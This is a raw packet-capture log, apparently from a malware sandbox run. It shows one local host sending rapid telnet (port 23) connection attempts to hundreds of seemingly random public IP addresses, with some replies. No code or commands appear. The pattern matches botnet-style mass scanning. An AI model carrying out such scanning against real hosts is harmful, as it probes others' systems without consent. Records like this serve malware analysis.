Jan 30, 2025 10:42:58.081299067 CET	38884	23	192.168.2.13	71.14.91.8
Jan 30, 2025 10:42:58.081305027 CET	38884	23	192.168.2.13	37.194.249.37
Jan 30, 2025 10:42:58.081312895 CET	38884	23	192.168.2.13	87.123.95.166
Jan 30, 2025 10:42:58.081317902 CET	38884	23	192.168.2.13	223.230.226.106
Jan 30, 2025 10:42:58.081327915 CET	38884	23	192.168.2.13	85.172.233.129
Jan 30, 2025 10:42:58.081327915 CET	38884	23	192.168.2.13	129.207.181.30
Jan 30, 2025 10:42:58.081342936 CET	38884	23	192.168.2.13	187.78.133.45
Jan 30, 2025 10:42:58.081347942 CET	38884	23	192.168.2.13	90.95.110.158
Jan 30, 2025 10:42:58.081347942 CET	38884	23	192.168.2.13	19.70.66.110
Jan 30, 2025 10:42:58.081351042 CET	38884	23	192.168.2.13	158.232.2.214
Jan 30, 2025 10:42:58.081365108 CET	38884	23	192.168.2.13	37.143.94.106
Jan 30, 2025 10:42:58.081377029 CET	38884	23	192.168.2.13	133.152.251.71
Jan 30, 2025 10:42:58.081386089 CET	38884	23	192.168.2.13	113.161.28.184
Jan 30, 2025 10:42:58.081388950 CET	38884	23	192.168.2.13	202.2.11.154
Jan 30, 2025 10:42:58.081392050 CET	38884	23	192.168.2.13	84.63.114.17
Jan 30, 2025 10:42:58.081392050 CET	38884	23	192.168.2.13	14.192.124.234
Jan 30, 2025 10:42:58.081393957 CET	38884	23	192.168.2.13	183.206.245.53
Jan 30, 2025 10:42:58.081412077 CET	38884	23	192.168.2.13	51.44.10.143
Jan 30, 2025 10:42:58.081415892 CET	38884	23	192.168.2.13	5.160.252.126
Jan 30, 2025 10:42:58.081427097 CET	38884	23	192.168.2.13	13.62.133.1
Jan 30, 2025 10:42:58.081434011 CET	38884	23	192.168.2.13	162.57.135.131
Jan 30, 2025 10:42:58.081434965 CET	38884	23	192.168.2.13	72.75.224.218
Jan 30, 2025 10:42:58.081434965 CET	38884	23	192.168.2.13	19.97.252.77
Jan 30, 2025 10:42:58.081439018 CET	38884	23	192.168.2.13	169.50.75.56
Jan 30, 2025 10:42:58.081444025 CET	38884	23	192.168.2.13	61.104.24.166
Jan 30, 2025 10:42:58.081453085 CET	38884	23	192.168.2.13	111.29.72.57
Jan 30, 2025 10:42:58.081458092 CET	38884	23	192.168.2.13	163.62.54.227
Jan 30, 2025 10:42:58.081464052 CET	38884	23	192.168.2.13	128.191.66.96
Jan 30, 2025 10:42:58.081478119 CET	38884	23	192.168.2.13	19.189.157.207
Jan 30, 2025 10:42:58.081485033 CET	38884	23	192.168.2.13	156.74.62.202
Jan 30, 2025 10:42:58.081492901 CET	38884	23	192.168.2.13	130.119.99.58
Jan 30, 2025 10:42:58.081492901 CET	38884	23	192.168.2.13	133.158.158.231
Jan 30, 2025 10:42:58.081496954 CET	38884	23	192.168.2.13	93.120.181.82
Jan 30, 2025 10:42:58.081507921 CET	38884	23	192.168.2.13	146.80.57.162
Jan 30, 2025 10:42:58.081515074 CET	38884	23	192.168.2.13	198.99.142.236
Jan 30, 2025 10:42:58.081525087 CET	38884	23	192.168.2.13	126.188.33.157
Jan 30, 2025 10:42:58.081536055 CET	38884	23	192.168.2.13	221.108.110.39
Jan 30, 2025 10:42:58.081537008 CET	38884	23	192.168.2.13	89.175.103.228
Jan 30, 2025 10:42:58.081552982 CET	38884	23	192.168.2.13	220.161.119.194
Jan 30, 2025 10:42:58.081562996 CET	38884	23	192.168.2.13	61.2.135.56
Jan 30, 2025 10:42:58.081562996 CET	38884	23	192.168.2.13	32.15.231.198
Jan 30, 2025 10:42:58.081562996 CET	38884	23	192.168.2.13	60.205.159.136
Jan 30, 2025 10:42:58.081576109 CET	38884	23	192.168.2.13	20.23.38.79
Jan 30, 2025 10:42:58.081576109 CET	38884	23	192.168.2.13	43.96.247.10
Jan 30, 2025 10:42:58.081577063 CET	38884	23	192.168.2.13	150.236.74.114
Jan 30, 2025 10:42:58.081577063 CET	38884	23	192.168.2.13	177.136.49.60
Jan 30, 2025 10:42:58.081577063 CET	38884	23	192.168.2.13	81.197.74.254
Jan 30, 2025 10:42:58.081593037 CET	38884	23	192.168.2.13	131.89.194.125
Jan 30, 2025 10:42:58.081594944 CET	38884	23	192.168.2.13	108.14.160.90
Jan 30, 2025 10:42:58.081608057 CET	38884	23	192.168.2.13	38.220.148.179
Jan 30, 2025 10:42:58.081612110 CET	38884	23	192.168.2.13	75.18.89.65
Jan 30, 2025 10:42:58.081618071 CET	38884	23	192.168.2.13	20.128.144.107
Jan 30, 2025 10:42:58.081618071 CET	38884	23	192.168.2.13	94.206.67.130
Jan 30, 2025 10:42:58.081624031 CET	38884	23	192.168.2.13	5.255.30.240
Jan 30, 2025 10:42:58.081644058 CET	38884	23	192.168.2.13	162.109.175.233
Jan 30, 2025 10:42:58.081645966 CET	38884	23	192.168.2.13	172.208.112.226
Jan 30, 2025 10:42:58.081651926 CET	38884	23	192.168.2.13	96.40.13.126
Jan 30, 2025 10:42:58.081653118 CET	38884	23	192.168.2.13	20.78.130.112
Jan 30, 2025 10:42:58.081674099 CET	38884	23	192.168.2.13	71.204.207.158
Jan 30, 2025 10:42:58.081686020 CET	38884	23	192.168.2.13	172.8.231.181
Jan 30, 2025 10:42:58.081688881 CET	38884	23	192.168.2.13	171.207.251.58
Jan 30, 2025 10:42:58.081703901 CET	38884	23	192.168.2.13	107.189.252.236
Jan 30, 2025 10:42:58.081706047 CET	38884	23	192.168.2.13	32.165.221.248
Jan 30, 2025 10:42:58.081706047 CET	38884	23	192.168.2.13	216.167.27.187
Jan 30, 2025 10:42:58.081707001 CET	38884	23	192.168.2.13	107.9.64.4
Jan 30, 2025 10:42:58.081707001 CET	38884	23	192.168.2.13	74.205.71.197
Jan 30, 2025 10:42:58.081707954 CET	38884	23	192.168.2.13	40.62.70.158
Jan 30, 2025 10:42:58.081707954 CET	38884	23	192.168.2.13	147.47.44.133
Jan 30, 2025 10:42:58.081717014 CET	38884	23	192.168.2.13	220.16.35.36
Jan 30, 2025 10:42:58.081729889 CET	38884	23	192.168.2.13	32.99.84.88
Jan 30, 2025 10:42:58.081732035 CET	38884	23	192.168.2.13	161.1.149.22
Jan 30, 2025 10:42:58.081736088 CET	38884	23	192.168.2.13	72.197.252.45
Jan 30, 2025 10:42:58.081747055 CET	38884	23	192.168.2.13	194.136.72.145
Jan 30, 2025 10:42:58.081748962 CET	38884	23	192.168.2.13	4.238.16.219
Jan 30, 2025 10:42:58.081760883 CET	38884	23	192.168.2.13	50.157.47.239
Jan 30, 2025 10:42:58.081760883 CET	38884	23	192.168.2.13	40.34.207.138
Jan 30, 2025 10:42:58.081768990 CET	38884	23	192.168.2.13	142.197.64.131
Jan 30, 2025 10:42:58.081770897 CET	38884	23	192.168.2.13	198.154.17.166
Jan 30, 2025 10:42:58.081774950 CET	38884	23	192.168.2.13	184.183.45.213
Jan 30, 2025 10:42:58.081779957 CET	38884	23	192.168.2.13	84.72.147.184
Jan 30, 2025 10:42:58.081788063 CET	38884	23	192.168.2.13	20.85.161.180
Jan 30, 2025 10:42:58.081790924 CET	38884	23	192.168.2.13	90.25.202.249
Jan 30, 2025 10:42:58.081800938 CET	38884	23	192.168.2.13	219.105.156.174
Jan 30, 2025 10:42:58.081808090 CET	38884	23	192.168.2.13	83.26.48.163
Jan 30, 2025 10:42:58.081810951 CET	38884	23	192.168.2.13	200.194.11.241
Jan 30, 2025 10:42:58.081820011 CET	38884	23	192.168.2.13	169.67.249.120
Jan 30, 2025 10:42:58.081831932 CET	38884	23	192.168.2.13	68.99.176.173
Jan 30, 2025 10:42:58.081835032 CET	38884	23	192.168.2.13	194.204.119.206
Jan 30, 2025 10:42:58.081840992 CET	38884	23	192.168.2.13	73.190.171.216
Jan 30, 2025 10:42:58.081841946 CET	38884	23	192.168.2.13	169.135.113.166
Jan 30, 2025 10:42:58.081859112 CET	38884	23	192.168.2.13	61.165.128.172
Jan 30, 2025 10:42:58.081859112 CET	38884	23	192.168.2.13	175.117.207.106
Jan 30, 2025 10:42:58.081861973 CET	38884	23	192.168.2.13	82.218.140.116
Jan 30, 2025 10:42:58.081865072 CET	38884	23	192.168.2.13	12.238.39.10
Jan 30, 2025 10:42:58.081875086 CET	38884	23	192.168.2.13	174.89.14.249
Jan 30, 2025 10:42:58.081877947 CET	38884	23	192.168.2.13	8.153.194.218
Jan 30, 2025 10:42:58.081883907 CET	38884	23	192.168.2.13	61.66.65.115
Jan 30, 2025 10:42:58.081887007 CET	38884	23	192.168.2.13	106.234.59.233
Jan 30, 2025 10:42:58.081895113 CET	38884	23	192.168.2.13	115.202.97.37
Jan 30, 2025 10:42:58.081912041 CET	38884	23	192.168.2.13	166.231.58.19
Jan 30, 2025 10:42:58.081912994 CET	38884	23	192.168.2.13	166.246.92.23
Jan 30, 2025 10:42:58.081912994 CET	38884	23	192.168.2.13	221.26.88.247
Jan 30, 2025 10:42:58.081914902 CET	38884	23	192.168.2.13	79.86.17.45
Jan 30, 2025 10:42:58.081917048 CET	38884	23	192.168.2.13	113.45.113.215
Jan 30, 2025 10:42:58.081918001 CET	38884	23	192.168.2.13	48.94.121.86
Jan 30, 2025 10:42:58.081937075 CET	38884	23	192.168.2.13	158.75.0.129
Jan 30, 2025 10:42:58.081945896 CET	38884	23	192.168.2.13	76.167.125.58
Jan 30, 2025 10:42:58.081947088 CET	38884	23	192.168.2.13	169.4.106.108
Jan 30, 2025 10:42:58.081945896 CET	38884	23	192.168.2.13	211.100.46.15
Jan 30, 2025 10:42:58.081945896 CET	38884	23	192.168.2.13	14.249.62.74
Jan 30, 2025 10:42:58.081959963 CET	38884	23	192.168.2.13	152.213.176.159
Jan 30, 2025 10:42:58.081959963 CET	38884	23	192.168.2.13	124.145.232.205
Jan 30, 2025 10:42:58.081959963 CET	38884	23	192.168.2.13	68.14.178.183
Jan 30, 2025 10:42:58.081959963 CET	38884	23	192.168.2.13	201.206.235.121
Jan 30, 2025 10:42:58.081970930 CET	38884	23	192.168.2.13	211.188.233.37
Jan 30, 2025 10:42:58.081996918 CET	38884	23	192.168.2.13	46.28.123.170
Jan 30, 2025 10:42:58.082005024 CET	38884	23	192.168.2.13	35.87.6.199
Jan 30, 2025 10:42:58.082006931 CET	38884	23	192.168.2.13	131.132.195.163
Jan 30, 2025 10:42:58.082006931 CET	38884	23	192.168.2.13	34.165.15.57
Jan 30, 2025 10:42:58.082010031 CET	38884	23	192.168.2.13	204.25.184.242
Jan 30, 2025 10:42:58.082014084 CET	38884	23	192.168.2.13	219.152.139.69
Jan 30, 2025 10:42:58.082015038 CET	38884	23	192.168.2.13	125.118.36.236
Jan 30, 2025 10:42:58.082026958 CET	38884	23	192.168.2.13	164.232.26.168
Jan 30, 2025 10:42:58.082026958 CET	38884	23	192.168.2.13	154.124.149.106
Jan 30, 2025 10:42:58.082045078 CET	38884	23	192.168.2.13	36.208.128.99
Jan 30, 2025 10:42:58.082047939 CET	38884	23	192.168.2.13	13.102.193.23
Jan 30, 2025 10:42:58.082050085 CET	38884	23	192.168.2.13	114.182.61.108
Jan 30, 2025 10:42:58.082053900 CET	38884	23	192.168.2.13	173.122.114.80
Jan 30, 2025 10:42:58.082091093 CET	38884	23	192.168.2.13	20.22.168.18
Jan 30, 2025 10:42:58.082091093 CET	38884	23	192.168.2.13	97.122.121.140
Jan 30, 2025 10:42:58.082098961 CET	38884	23	192.168.2.13	172.94.160.157
Jan 30, 2025 10:42:58.082098961 CET	38884	23	192.168.2.13	182.93.137.20
Jan 30, 2025 10:42:58.082101107 CET	38884	23	192.168.2.13	53.237.25.40
Jan 30, 2025 10:42:58.082101107 CET	38884	23	192.168.2.13	120.184.206.102
Jan 30, 2025 10:42:58.082101107 CET	38884	23	192.168.2.13	50.222.74.235
Jan 30, 2025 10:42:58.082102060 CET	38884	23	192.168.2.13	73.124.85.172
Jan 30, 2025 10:42:58.082102060 CET	38884	23	192.168.2.13	173.83.162.123
Jan 30, 2025 10:42:58.082102060 CET	38884	23	192.168.2.13	186.255.85.124
Jan 30, 2025 10:42:58.082102060 CET	38884	23	192.168.2.13	109.62.64.36
Jan 30, 2025 10:42:58.082109928 CET	38884	23	192.168.2.13	131.228.2.115
Jan 30, 2025 10:42:58.082112074 CET	38884	23	192.168.2.13	147.107.108.62
Jan 30, 2025 10:42:58.082113028 CET	38884	23	192.168.2.13	148.47.171.197
Jan 30, 2025 10:42:58.082113028 CET	38884	23	192.168.2.13	73.123.232.45
Jan 30, 2025 10:42:58.082113028 CET	38884	23	192.168.2.13	204.4.70.205
Jan 30, 2025 10:42:58.082113028 CET	38884	23	192.168.2.13	1.35.179.187
Jan 30, 2025 10:42:58.082113028 CET	38884	23	192.168.2.13	77.212.187.53
Jan 30, 2025 10:42:58.082122087 CET	38884	23	192.168.2.13	106.150.31.61
Jan 30, 2025 10:42:58.082123995 CET	38884	23	192.168.2.13	43.107.135.236
Jan 30, 2025 10:42:58.082124949 CET	38884	23	192.168.2.13	155.92.236.191
Jan 30, 2025 10:42:58.082124949 CET	38884	23	192.168.2.13	172.240.116.223
Jan 30, 2025 10:42:58.082132101 CET	38884	23	192.168.2.13	54.131.155.219
Jan 30, 2025 10:42:58.082132101 CET	38884	23	192.168.2.13	200.224.74.183
Jan 30, 2025 10:42:58.082138062 CET	38884	23	192.168.2.13	2.49.214.174
Jan 30, 2025 10:42:58.082138062 CET	38884	23	192.168.2.13	220.5.232.192
Jan 30, 2025 10:42:58.082143068 CET	38884	23	192.168.2.13	199.77.112.175
Jan 30, 2025 10:42:58.082143068 CET	38884	23	192.168.2.13	106.64.138.157
Jan 30, 2025 10:42:58.082143068 CET	38884	23	192.168.2.13	174.198.245.55
Jan 30, 2025 10:42:58.082145929 CET	38884	23	192.168.2.13	123.150.85.78
Jan 30, 2025 10:42:58.082145929 CET	38884	23	192.168.2.13	119.193.168.175
Jan 30, 2025 10:42:58.082150936 CET	38884	23	192.168.2.13	35.197.252.13
Jan 30, 2025 10:42:58.082156897 CET	38884	23	192.168.2.13	212.244.161.30
Jan 30, 2025 10:42:58.082156897 CET	38884	23	192.168.2.13	130.31.220.136
Jan 30, 2025 10:42:58.082166910 CET	38884	23	192.168.2.13	184.33.137.207
Jan 30, 2025 10:42:58.082166910 CET	38884	23	192.168.2.13	221.53.159.232
Jan 30, 2025 10:42:58.082166910 CET	38884	23	192.168.2.13	85.182.183.229
Jan 30, 2025 10:42:58.082166910 CET	38884	23	192.168.2.13	40.46.68.189
Jan 30, 2025 10:42:58.082166910 CET	38884	23	192.168.2.13	166.102.74.216
Jan 30, 2025 10:42:58.082179070 CET	38884	23	192.168.2.13	135.127.114.82
Jan 30, 2025 10:42:58.082185030 CET	38884	23	192.168.2.13	19.107.137.17
Jan 30, 2025 10:42:58.082185030 CET	38884	23	192.168.2.13	201.57.38.151
Jan 30, 2025 10:42:58.082192898 CET	38884	23	192.168.2.13	8.230.100.17
Jan 30, 2025 10:42:58.082201004 CET	38884	23	192.168.2.13	27.69.61.116
Jan 30, 2025 10:42:58.082201958 CET	38884	23	192.168.2.13	144.31.255.0
Jan 30, 2025 10:42:58.082211971 CET	38884	23	192.168.2.13	68.229.21.130
Jan 30, 2025 10:42:58.082211971 CET	38884	23	192.168.2.13	71.42.188.248
Jan 30, 2025 10:42:58.082211971 CET	38884	23	192.168.2.13	13.140.222.217
Jan 30, 2025 10:42:58.082220078 CET	38884	23	192.168.2.13	200.97.146.161
Jan 30, 2025 10:42:58.082220078 CET	38884	23	192.168.2.13	222.254.81.6
Jan 30, 2025 10:42:58.082220078 CET	38884	23	192.168.2.13	98.227.193.228
Jan 30, 2025 10:42:58.082220078 CET	38884	23	192.168.2.13	72.184.132.79
Jan 30, 2025 10:42:58.082225084 CET	38884	23	192.168.2.13	186.186.181.27
Jan 30, 2025 10:42:58.082225084 CET	38884	23	192.168.2.13	101.190.61.161
Jan 30, 2025 10:42:58.082235098 CET	38884	23	192.168.2.13	96.191.140.7
Jan 30, 2025 10:42:58.082248926 CET	38884	23	192.168.2.13	115.58.196.182
Jan 30, 2025 10:42:58.082248926 CET	38884	23	192.168.2.13	200.195.243.176
Jan 30, 2025 10:42:58.082257032 CET	38884	23	192.168.2.13	99.84.104.36
Jan 30, 2025 10:42:58.082258940 CET	38884	23	192.168.2.13	170.245.42.17
Jan 30, 2025 10:42:58.082259893 CET	38884	23	192.168.2.13	165.34.35.232
Jan 30, 2025 10:42:58.082276106 CET	38884	23	192.168.2.13	81.181.37.131
Jan 30, 2025 10:42:58.082277060 CET	38884	23	192.168.2.13	138.214.47.75
Jan 30, 2025 10:42:58.082284927 CET	38884	23	192.168.2.13	211.162.105.59
Jan 30, 2025 10:42:58.082288027 CET	38884	23	192.168.2.13	219.176.77.74
Jan 30, 2025 10:42:58.082303047 CET	38884	23	192.168.2.13	80.2.48.219
Jan 30, 2025 10:42:58.082307100 CET	38884	23	192.168.2.13	31.141.237.207
Jan 30, 2025 10:42:58.082307100 CET	38884	23	192.168.2.13	50.9.1.177
Jan 30, 2025 10:42:58.082323074 CET	38884	23	192.168.2.13	122.253.99.179
Jan 30, 2025 10:42:58.082324028 CET	38884	23	192.168.2.13	136.42.90.243
Jan 30, 2025 10:42:58.082325935 CET	38884	23	192.168.2.13	108.205.64.39
Jan 30, 2025 10:42:58.082328081 CET	38884	23	192.168.2.13	218.3.87.37
Jan 30, 2025 10:42:58.082350969 CET	38884	23	192.168.2.13	173.127.205.164
Jan 30, 2025 10:42:58.082350969 CET	38884	23	192.168.2.13	149.29.72.136
Jan 30, 2025 10:42:58.082355022 CET	38884	23	192.168.2.13	210.54.73.105
Jan 30, 2025 10:42:58.082355022 CET	38884	23	192.168.2.13	208.150.40.144
Jan 30, 2025 10:42:58.082370043 CET	38884	23	192.168.2.13	61.234.130.133
Jan 30, 2025 10:42:58.082370043 CET	38884	23	192.168.2.13	89.88.8.45
Jan 30, 2025 10:42:58.082375050 CET	38884	23	192.168.2.13	51.221.253.15
Jan 30, 2025 10:42:58.082385063 CET	38884	23	192.168.2.13	49.153.115.39
Jan 30, 2025 10:42:58.082386971 CET	38884	23	192.168.2.13	83.47.138.108
Jan 30, 2025 10:42:58.082389116 CET	38884	23	192.168.2.13	57.89.107.240
Jan 30, 2025 10:42:58.082407951 CET	38884	23	192.168.2.13	162.198.251.3
Jan 30, 2025 10:42:58.082408905 CET	38884	23	192.168.2.13	176.28.94.181
Jan 30, 2025 10:42:58.082410097 CET	38884	23	192.168.2.13	48.244.1.191
Jan 30, 2025 10:42:58.082417011 CET	38884	23	192.168.2.13	188.134.132.254
Jan 30, 2025 10:42:58.082428932 CET	38884	23	192.168.2.13	207.43.197.1
Jan 30, 2025 10:42:58.085057974 CET	23	38884	183.244.94.92	192.168.2.13
Jan 30, 2025 10:42:58.085069895 CET	23	38884	116.42.227.92	192.168.2.13
Jan 30, 2025 10:42:58.085118055 CET	38884	23	192.168.2.13	116.42.227.92
Jan 30, 2025 10:42:58.085118055 CET	38884	23	192.168.2.13	183.244.94.92
Jan 30, 2025 10:42:58.085270882 CET	23	38884	131.232.126.255	192.168.2.13
Jan 30, 2025 10:42:58.085280895 CET	23	38884	63.32.59.22	192.168.2.13
Jan 30, 2025 10:42:58.085289955 CET	23	38884	23.13.99.188	192.168.2.13
Jan 30, 2025 10:42:58.085299015 CET	23	38884	208.15.64.159	192.168.2.13
Jan 30, 2025 10:42:58.085309029 CET	23	38884	150.111.21.145	192.168.2.13
Jan 30, 2025 10:42:58.085315943 CET	38884	23	192.168.2.13	131.232.126.255
Jan 30, 2025 10:42:58.085324049 CET	23	38884	65.132.133.102	192.168.2.13
Jan 30, 2025 10:42:58.085333109 CET	23	38884	110.235.214.238	192.168.2.13
Jan 30, 2025 10:42:58.085342884 CET	23	38884	39.87.5.151	192.168.2.13
Jan 30, 2025 10:42:58.085349083 CET	38884	23	192.168.2.13	23.13.99.188
Jan 30, 2025 10:42:58.085350990 CET	38884	23	192.168.2.13	63.32.59.22
Jan 30, 2025 10:42:58.085352898 CET	23	38884	93.14.194.70	192.168.2.13
Jan 30, 2025 10:42:58.085362911 CET	23	38884	13.207.10.40	192.168.2.13
Jan 30, 2025 10:42:58.085388899 CET	38884	23	192.168.2.13	208.15.64.159
Jan 30, 2025 10:42:58.085388899 CET	38884	23	192.168.2.13	150.111.21.145
Jan 30, 2025 10:42:58.085390091 CET	38884	23	192.168.2.13	65.132.133.102
Jan 30, 2025 10:42:58.085402012 CET	38884	23	192.168.2.13	93.14.194.70
Jan 30, 2025 10:42:58.085406065 CET	38884	23	192.168.2.13	110.235.214.238
Jan 30, 2025 10:42:58.085411072 CET	38884	23	192.168.2.13	39.87.5.151
Jan 30, 2025 10:42:58.085416079 CET	38884	23	192.168.2.13	13.207.10.40
Jan 30, 2025 10:42:58.086246014 CET	23	38884	60.56.222.7	192.168.2.13
Jan 30, 2025 10:42:58.086256981 CET	23	38884	112.115.182.38	192.168.2.13
Jan 30, 2025 10:42:58.086266041 CET	23	38884	24.147.106.45	192.168.2.13
Jan 30, 2025 10:42:58.086278915 CET	38884	23	192.168.2.13	60.56.222.7
Jan 30, 2025 10:42:58.086302996 CET	23	38884	117.189.223.250	192.168.2.13
Jan 30, 2025 10:42:58.086313009 CET	23	38884	170.182.14.66	192.168.2.13
Jan 30, 2025 10:42:58.086323977 CET	23	38884	164.242.148.95	192.168.2.13
Jan 30, 2025 10:42:58.086333036 CET	23	38884	183.184.36.193	192.168.2.13
Jan 30, 2025 10:42:58.086342096 CET	23	38884	186.137.108.73	192.168.2.13
Jan 30, 2025 10:42:58.086350918 CET	23	38884	78.87.239.212	192.168.2.13
Jan 30, 2025 10:42:58.086353064 CET	38884	23	192.168.2.13	112.115.182.38
Jan 30, 2025 10:42:58.086358070 CET	38884	23	192.168.2.13	170.182.14.66
Jan 30, 2025 10:42:58.086364031 CET	38884	23	192.168.2.13	164.242.148.95
Jan 30, 2025 10:42:58.086364031 CET	38884	23	192.168.2.13	117.189.223.250
Jan 30, 2025 10:42:58.086364031 CET	38884	23	192.168.2.13	24.147.106.45
Jan 30, 2025 10:42:58.086381912 CET	38884	23	192.168.2.13	78.87.239.212
Jan 30, 2025 10:42:58.086395979 CET	38884	23	192.168.2.13	186.137.108.73
Jan 30, 2025 10:42:58.086422920 CET	38884	23	192.168.2.13	183.184.36.193
Jan 30, 2025 10:42:58.086462021 CET	23	38884	100.139.127.148	192.168.2.13
Jan 30, 2025 10:42:58.086471081 CET	23	38884	222.251.203.218	192.168.2.13
Jan 30, 2025 10:42:58.086479902 CET	23	38884	8.33.139.200	192.168.2.13
Jan 30, 2025 10:42:58.086488962 CET	23	38884	138.96.198.53	192.168.2.13
Jan 30, 2025 10:42:58.086491108 CET	38884	23	192.168.2.13	100.139.127.148
Jan 30, 2025 10:42:58.086498976 CET	23	38884	183.156.135.130	192.168.2.13
Jan 30, 2025 10:42:58.086502075 CET	38884	23	192.168.2.13	222.251.203.218
Jan 30, 2025 10:42:58.086508036 CET	23	38884	119.106.117.163	192.168.2.13
Jan 30, 2025 10:42:58.086517096 CET	23	38884	47.180.166.186	192.168.2.13
Jan 30, 2025 10:42:58.086528063 CET	23	38884	165.189.203.132	192.168.2.13
Jan 30, 2025 10:42:58.086543083 CET	38884	23	192.168.2.13	8.33.139.200
Jan 30, 2025 10:42:58.086543083 CET	38884	23	192.168.2.13	138.96.198.53
Jan 30, 2025 10:42:58.086545944 CET	23	38884	145.186.17.166	192.168.2.13
Jan 30, 2025 10:42:58.086551905 CET	38884	23	192.168.2.13	183.156.135.130
Jan 30, 2025 10:42:58.086585045 CET	23	38884	198.23.41.130	192.168.2.13
Jan 30, 2025 10:42:58.086595058 CET	23	38884	212.179.37.162	192.168.2.13
Jan 30, 2025 10:42:58.086600065 CET	38884	23	192.168.2.13	119.106.117.163
Jan 30, 2025 10:42:58.086607933 CET	23	38884	190.152.225.44	192.168.2.13
Jan 30, 2025 10:42:58.086612940 CET	38884	23	192.168.2.13	47.180.166.186
Jan 30, 2025 10:42:58.086616039 CET	38884	23	192.168.2.13	165.189.203.132
Jan 30, 2025 10:42:58.086616039 CET	38884	23	192.168.2.13	145.186.17.166
Jan 30, 2025 10:42:58.086622000 CET	23	38884	177.252.133.222	192.168.2.13
Jan 30, 2025 10:42:58.086633921 CET	23	38884	61.38.251.161	192.168.2.13
Jan 30, 2025 10:42:58.086643934 CET	23	38884	216.134.201.22	192.168.2.13
Jan 30, 2025 10:42:58.086653948 CET	23	38884	110.2.50.60	192.168.2.13
Jan 30, 2025 10:42:58.086657047 CET	38884	23	192.168.2.13	212.179.37.162
Jan 30, 2025 10:42:58.086657047 CET	38884	23	192.168.2.13	198.23.41.130
Jan 30, 2025 10:42:58.086663008 CET	23	38884	184.159.212.120	192.168.2.13
Jan 30, 2025 10:42:58.086673975 CET	23	38884	166.52.97.209	192.168.2.13
Jan 30, 2025 10:42:58.086682081 CET	23	38884	132.151.221.240	192.168.2.13
Jan 30, 2025 10:42:58.086699009 CET	23	38884	69.212.141.19	192.168.2.13
Jan 30, 2025 10:42:58.086705923 CET	38884	23	192.168.2.13	190.152.225.44
Jan 30, 2025 10:42:58.086708069 CET	38884	23	192.168.2.13	177.252.133.222
Jan 30, 2025 10:42:58.086709023 CET	23	38884	42.243.228.158	192.168.2.13
Jan 30, 2025 10:42:58.086719990 CET	38884	23	192.168.2.13	166.52.97.209
Jan 30, 2025 10:42:58.086724997 CET	38884	23	192.168.2.13	132.151.221.240
Jan 30, 2025 10:42:58.086726904 CET	38884	23	192.168.2.13	110.2.50.60
Jan 30, 2025 10:42:58.086726904 CET	38884	23	192.168.2.13	184.159.212.120
Jan 30, 2025 10:42:58.086730957 CET	38884	23	192.168.2.13	216.134.201.22
Jan 30, 2025 10:42:58.086738110 CET	23	38884	37.86.58.14	192.168.2.13
Jan 30, 2025 10:42:58.086740017 CET	38884	23	192.168.2.13	61.38.251.161
Jan 30, 2025 10:42:58.086740017 CET	38884	23	192.168.2.13	69.212.141.19
Jan 30, 2025 10:42:58.086747885 CET	23	38884	106.214.158.142	192.168.2.13
Jan 30, 2025 10:42:58.086757898 CET	23	38884	212.112.8.160	192.168.2.13
Jan 30, 2025 10:42:58.086769104 CET	38884	23	192.168.2.13	42.243.228.158
Jan 30, 2025 10:42:58.086775064 CET	23	38884	159.60.134.244	192.168.2.13
Jan 30, 2025 10:42:58.086779118 CET	38884	23	192.168.2.13	37.86.58.14
Jan 30, 2025 10:42:58.086785078 CET	23	38884	187.57.161.135	192.168.2.13
Jan 30, 2025 10:42:58.086796045 CET	23	38884	191.171.171.145	192.168.2.13
Jan 30, 2025 10:42:58.086805105 CET	23	38884	9.93.147.20	192.168.2.13
Jan 30, 2025 10:42:58.086827993 CET	23	38884	17.161.84.176	192.168.2.13
Jan 30, 2025 10:42:58.086843014 CET	38884	23	192.168.2.13	106.214.158.142
Jan 30, 2025 10:42:58.086843014 CET	23	38884	105.10.200.237	192.168.2.13
Jan 30, 2025 10:42:58.086844921 CET	38884	23	192.168.2.13	187.57.161.135
Jan 30, 2025 10:42:58.086844921 CET	38884	23	192.168.2.13	191.171.171.145
Jan 30, 2025 10:42:58.086844921 CET	38884	23	192.168.2.13	9.93.147.20
Jan 30, 2025 10:42:58.086850882 CET	38884	23	192.168.2.13	159.60.134.244
Jan 30, 2025 10:42:58.086863041 CET	23	38884	64.113.69.209	192.168.2.13
Jan 30, 2025 10:42:58.086873055 CET	23	38884	131.168.102.108	192.168.2.13
Jan 30, 2025 10:42:58.086879969 CET	38884	23	192.168.2.13	212.112.8.160
Jan 30, 2025 10:42:58.086880922 CET	38884	23	192.168.2.13	17.161.84.176
Jan 30, 2025 10:42:58.086883068 CET	23	38884	137.21.34.231	192.168.2.13
Jan 30, 2025 10:42:58.086883068 CET	38884	23	192.168.2.13	105.10.200.237
Jan 30, 2025 10:42:58.086894989 CET	38884	23	192.168.2.13	64.113.69.209
Jan 30, 2025 10:42:58.086901903 CET	38884	23	192.168.2.13	131.168.102.108
Jan 30, 2025 10:42:58.086905003 CET	23	38884	34.255.22.4	192.168.2.13
Jan 30, 2025 10:42:58.086916924 CET	23	38884	205.161.9.227	192.168.2.13
Jan 30, 2025 10:42:58.086925030 CET	23	38884	134.53.129.122	192.168.2.13
Jan 30, 2025 10:42:58.086977005 CET	38884	23	192.168.2.13	205.161.9.227
Jan 30, 2025 10:42:58.086977005 CET	38884	23	192.168.2.13	134.53.129.122
Jan 30, 2025 10:42:58.086986065 CET	38884	23	192.168.2.13	137.21.34.231
Jan 30, 2025 10:42:58.086990118 CET	38884	23	192.168.2.13	34.255.22.4
Jan 30, 2025 10:42:58.087157011 CET	23	38884	196.160.135.6	192.168.2.13
Jan 30, 2025 10:42:58.087167025 CET	23	38884	50.251.82.83	192.168.2.13
Jan 30, 2025 10:42:58.087177038 CET	23	38884	175.11.200.179	192.168.2.13
Jan 30, 2025 10:42:58.087188959 CET	23	38884	96.199.71.245	192.168.2.13
Jan 30, 2025 10:42:58.087199926 CET	38884	23	192.168.2.13	196.160.135.6
Jan 30, 2025 10:42:58.087207079 CET	23	38884	138.109.236.201	192.168.2.13
Jan 30, 2025 10:42:58.087218046 CET	23	38884	76.158.142.31	192.168.2.13
Jan 30, 2025 10:42:58.087227106 CET	23	38884	84.134.212.135	192.168.2.13
Jan 30, 2025 10:42:58.087239027 CET	23	38884	218.218.61.235	192.168.2.13
Jan 30, 2025 10:42:58.087241888 CET	38884	23	192.168.2.13	96.199.71.245
Jan 30, 2025 10:42:58.087241888 CET	38884	23	192.168.2.13	138.109.236.201
Jan 30, 2025 10:42:58.087244987 CET	38884	23	192.168.2.13	50.251.82.83
